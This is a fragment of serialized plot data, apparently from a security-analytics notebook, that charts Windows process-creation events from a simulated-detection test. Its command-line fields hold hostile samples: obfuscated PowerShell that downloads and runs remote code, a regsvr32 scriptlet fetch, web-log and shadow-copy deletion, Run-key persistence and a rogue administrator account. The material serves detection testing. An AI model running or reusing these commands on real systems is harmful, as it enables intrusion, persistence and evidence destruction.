\\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\Resources\\\\222\\\\pmfexe.exe\\\" -PerfMode optimize\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfigura... GetInventory\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.... \\\"C:\\\\Program\\nFiles\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"467640ea-0793-476c-bf27-20b9747594bd\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"8ea1d5d5-b9c2-4ee4-b990-59ea73db8e35\",\"type\":\"UnionRenderers\"}},\"id\":\"100af671-f71f-4fe1-972f-708ae7482eee\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"overlay\":{\"id\":\"c27d62a6-e919-4244-a284-ce3aff7dfe23\",\"type\":\"BoxAnnotation\"}},\"id\":\"e65160c3-c534-4cc0-913a-5feb042bcaa9\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@WrapCmdl\"]]},\"id\":\"b35749f9-e434-4d9b-8d93-10f885349139\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"e9e739ab-7d89-4c87-ad2b-64bb93e4976e\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"dce15a6b-f5c3-4e70-ac35-0236f704ae48\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"0dd7bd46-3dae-4715-8219-5dadbfda9e5a\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"26a3a62c-1135-4bae-ab93-66aad9687795\",\"type\":\"DaysTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"50fa9b07-e554-49ad-a3fd-2fc65fad4efd\",\"type\":\"AdaptiveTicker\"},{\"id\":\"43f18c7b-7f49-4afd-bf91-40b1b6bce8ea\",\"type\":\"AdaptiveTicker\"},{\"id\":\"d556efb9-65f2-4ee1-a00c-9a54de03b241\",\"type\":\"AdaptiveTicker\"},{\"id\":\"af7cc7ff-2897-4f70-89c9-038970348b51\",\"type\":\"DaysTicker\"},{\"id\":\"4a0b63e8-07c2-4377-a401-fc2fa804529a\",\"type\":\"DaysTicker\"},{\"id\":\"26a3a62c-1135-4bae-ab93-66aad9687795\",\"type\":\"DaysTicker\"},{\"id\":\"3475eae6-3bac-42d6-8a65-a2327a0b951c\",\"type\":\"DaysTicker\"},{\"id\":\"84e5a300-b9be-4b22-8170-0aa8ffdb270c\",\"type\":\"MonthsTicker\"},{\"id\":\"b8325664-da9e-4565-8dd8-c3d58c254776\",\"type\":\"MonthsTicker\"},{\"id\":\"e1ea9eaf-fe22-47fb-ba6b-381c22450a04\",\"type\":\"MonthsTicker\"},{\"id\":\"cfeb2126-e188-4451-8bf1-6f830983d32d\",\"type\":\"MonthsTicker\"},{\"id\":\"1f5453e4-7795-44e9-8c39-2676eba6bb1b\",\"type\":\"YearsTicker\"}]},\"id\":\"ad6a36fb-aaa3-4d30-abfe-5cedd55ddf24\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"3475eae6-3bac-42d6-8a65-a2327a0b951c\",\"type\":\"DaysTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"50fa9b07-e554-49ad-a3fd-2fc65fad4efd\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"d0fae691-fa09-4a27-a975-ef8a7ce5319f\",\"type\":\"Line\"},{\"attributes\":{\"source\":{\"id\":\"100af671-f71f-4fe1-972f-708ae7482eee\",\"type\":\"ColumnDataSource\"}},\"id\":\"f8756fcd-05d1-462d-9db9-0d8483cc5218\",\"type\":\"CDSView\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"4830cf96-886c-4af9-a37b-0ec45ac2bd3c\",\"type\":\"Line\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"green\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"a080a6f9-818a-4175-98c9-d9b5cee3edb9\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"100af671-f71f-4fe1-972f-708ae7482eee\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"a080a6f9-818a-4175-98c9-d9b5cee3edb9\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"86c619d2-afaa-4089-8b3b-a7df4838c9cc\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"f8756fcd-05d1-462d-9db9-0d8483cc5218\",\"type\":\"CDSView\"}},\"id\":\"301e4f6b-90b2-4c83-966a-9f9f9378b0b0\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"4a0b63e8-07c2-4377-a401-fc2fa804529a\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"86c619d2-afaa-4089-8b3b-a7df4838c9cc\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden !\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline solely for purposes of triggering test\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo [S]&cd&echo [E]\\\"\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat c:\\\\Diagnostics\\\\UserTmp\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com; liengli@microsoft.com\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare=c:\\\\testshare /Grant:Users,Read\",\"dism /online /enable-feature /featurename:File-Services /NoRestart\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\\\dismhost.exe {D57BA872-53C0-424D-80AE-E49112D1CF04}\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f ':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17','pqCw')));}\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg' ^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\Local\\\\Temp\\\\kittens1.jpg';\\\"\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe -c \\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion Certificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\appdata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"C:\\\\Windows\\\\system32\\\\wermgr.exe -upload\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\WindowsAzure\\\\CollectGuestLogsTemp\\\\710dc858-9c96-4df5-bd9b-e932e7433077.zip\",\"taskhostw.exe SYSTEM\",\"\\\"cmd\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\222\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\"12345.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change Dates.docx\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator Bob_testing /add\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','google.png')}\",\"implant.exe k111\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\" \",\"whoami\",\"net group \\\"Domain Admins\\\" /domain\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"powershell wscript.shell used to download a .gif\\\"\",\"hd.exe -pslist\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\dllhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\Dism.exe\",\"C:\\\\Windows\\\\Temp\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\\\DismHost.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\wuauclt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\wermgr.exe\",\"C:\\\\WindowsAzure\\\\GuestAgent_2.7.41491.901_2019-01-14_202614\\\\CollectGuestLogs.exe\",\"C:\\\\Windows\\\\System32\\\\taskhostw.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\222\\\\pmfexe.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service 